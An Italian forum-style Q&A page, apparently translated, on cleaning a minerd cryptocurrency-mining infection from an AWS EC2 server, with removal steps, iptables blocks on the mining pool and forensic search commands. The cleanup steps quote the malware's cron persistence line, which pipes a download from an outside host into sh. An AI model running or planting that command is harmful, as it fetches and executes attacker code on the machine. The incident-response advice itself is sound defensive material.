GNU/Linux >> Linux Esercitazione >  >> Linux

Come posso eliminare il malware di mining su un'istanza AWS EC2?

Ho trovato la soluzione per rimuovere minerd . Sono stato abbastanza fortunato da trovare lo script effettivo utilizzato per infettare il mio server. Tutto quello che dovevo fare era rimuovere gli elementi inseriti da questo script -

  1. Su suggerimento di monkeyoto, ho bloccato tutte le comunicazioni con il server del pool di mining - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP e iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP .
  2. Rimosso il cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh da /var/spool/cron/root e /var/spool/cron/crontabs/root .
  3. Rimossa la directory /opt/yam .
  4. Rimosso /root/.ssh/KHK75NEOiq .
  5. Eliminati i file /opt/minerd e /opt/KHK75NEOiq33 .
  6. Arrestato il processo di mining - pkill minerd .
  7. Interrotto lady - service lady stop .

Ho eseguito ps -eo pcpu,args --sort=-%cpu | head , top -bn2 |sed -n '7,25'p e ps aux | grep minerd dopodiché il malware non si vedeva da nessuna parte.

Devo ancora capire come ha ottenuto l'accesso al sistema, ma sono riuscito a disabilitarlo in questo modo.


Il tuo primo obiettivo è (se non vuoi reinstallare) è determinare come è riuscito ad arrivarci in primo luogo. Se l'attaccante era furbo, avrebbe eseguito "timestomp" per modificare le date dei binari. La riduzione al minimo di SSH fa poco se stai utilizzando una versione vulnerabile di Wordpress, o Joomla o qualcosa di diverso. Ad esempio, c'era un exploit Nagios utilizzato da qualcuno per eseguire minerd. Quindi l'obiettivo... "Determinare cosa è in esecuzione, perché è in esecuzione ed è vulnerabile?"

In secondo luogo, vuoi bloccare tutte le comunicazioni da e verso il server del pool di mining:

iptables -A INPUT -S xmr.crypto-pool.fr -j DROP

Quindi, come si determina cosa è stato modificato/cambiato/vulnerabile? Devi capire il tuo sistema. Cosa fa, perché lo fa e chi ha bisogno di accedervi. Cercherei i miei crontab per vedere cosa, se qualcosa sta iniziando. Potresti eseguire:service --status-all per vedere quali servizi sono in esecuzione/avvio e indagare su quelli. /opt/minerd sembra essere un file, esegui il checksum di quel file e potresti creare uno script per cercare qualsiasi cosa chiami quel file o qualsiasi file che corrisponda, ad esempio:find / | xargs grep -i minerd o find / | xargs grep -i CHECKSUM_of_MINERD (Tieni presente che questo è un modo brutale di cercare all'interno dei file).

Terzo, controlla i tuoi log. Se stai eseguendo un server web, inizierei con i log degli errori (error_logs) e cercherò più 403 e 404 da un indirizzo seguito da una connessione riuscita in access_log. Controlla il percorso che è stato accettato (ad es. 200:/var/www/nagios_or_something_vulnerable/config.php) e guarda all'interno della directory. Esistono molti approcci per trovare queste informazioni, ma nessuno qui può darti una risposta completa in quanto possiamo solo dedurre informazioni in base alla quantità limitata di informazioni che pubblichi.

"Ho un file chiamato minerd in partenza!" Scava per quel file. (find /|xargs grep -i minerd ). "Usa questa strana corda!" (find / |xargs grep -i 47TS1NQvebb3Feq ). "Fa una connessione alla porta 8080!" (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}' ). "Si sta connettendo a questo indirizzo!" (lsof -i | grep xmr.crypto ... Ora hai una linea di base delle cose che puoi fare.


Il problema è che il minerd è probabilmente il payload di alcuni (altri) malware, quindi non puoi davvero dire cos'altro è stato compromesso nel sistema. Forse non c'è nient'altro residente nel sistema, e vieni reinfettato ogni volta che uccidi il minatore.

In alternativa c'è qualche processo di gestione/dropper che ha aperto una backdoor sul tuo server.

La scommessa più sicura è ricreare il server. Tuttavia, se si desidera eseguire la scansione, è possibile ottenere gratuitamente Sophos Anti-Virus da https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx


Linux
  1. Crea un'istanza EC2 su AWS utilizzando Terraform

  2. Come creare un'istanza RDS su AWS utilizzando Terraform

  3. Aumento dello spazio su disco dell'istanza Ubuntu di AWS EC2

  4. Come posso eliminare la porta TCP 16969 in Bash?

  5. Come posso installare xclip su un'istanza EC2?

Come gestire le istanze AWS EC2 utilizzando aws-cli

Come configurare un'istanza RDS MySql (Relation Database MySql) su AWS

Che cos'è Terraform e come installarlo e utilizzarlo su AWS EC2

Come creare un'istanza Amazon AWS EC2 utilizzando Python Boto3

Come creare un'istanza EC2 Ubuntu su AWS

Come installare Rocky Linux 8 sull'istanza Amazon AWS Ec2